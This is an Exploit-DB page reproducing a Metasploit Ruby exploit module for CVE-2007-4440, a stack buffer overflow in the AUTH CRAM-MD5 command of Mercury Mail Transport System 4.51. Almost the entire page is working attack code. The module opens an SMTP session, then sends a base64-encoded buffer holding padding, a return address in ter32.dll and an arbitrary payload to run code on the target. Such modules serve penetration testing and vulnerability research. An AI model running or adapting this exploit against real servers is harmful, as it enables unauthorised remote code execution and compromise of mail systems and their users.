Mercury/32 Mail SMTPD – AUTH CRAM-MD5 Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-06-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16821/
  • ##
    # $Id: mercury_cram_md5.rb 9583 2010-06-22 19:11:05Z todb $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::Tcp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a stack buffer overflow in Mercury Mail Transport System 4.51.
    				By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker
    				may be able to execute arbitrary code.
    			},
    			'Author' => [ 'MC' ],
    			'Version'=> '$Revision: 9583 $',
    			'References' =>
    				[
    					[ 'CVE', '2007-4440' ],
    					[ 'OSVDB', '39669' ],
    					[ 'BID', '25357' ],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'thread',
    				},
    			'Platform' => 'win',
    			'Privileged' => true,
    			'Payload'=>
    				{
    					'Space'=> 600,
    					'BadChars' => "\x00\x0a\x0d\x20\x25",
    					'StackAdjustment' => -3500,
    				},
    			'Targets'=>
    				[
    					[ 'Mercury Mail Transport System 4.51',	{ 'Ret' => 0x258d0d1e } ], # ter32.dll
    				],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Aug 18 2007'))
    
    		register_options([ Opt::RPORT(25) ], self.class)
    	end
    
    	def exploit
    		connect
    
    		sock.get_once
    
    		sock.put("EHLO\r\n")
    
    		sock.get_once
    
    		sock.put("AUTH CRAM-MD5\r\n")
    
    		sock.get_once
    		select(nil,nil,nil,0.25)
    
    		buffer =rand_text_alpha_upper(204) + [target.ret].pack('V')
    		buffer << payload.encoded + rand_text_alpha_upper(1075 - payload.encoded.length)
    
    		sploit = Rex::Text.encode_base64(buffer)
    
    		print_status("Trying target #{target.name}...")
    		sock.put(sploit + "\r\n")
    
    		handler
    		disconnect
    	end
    
    end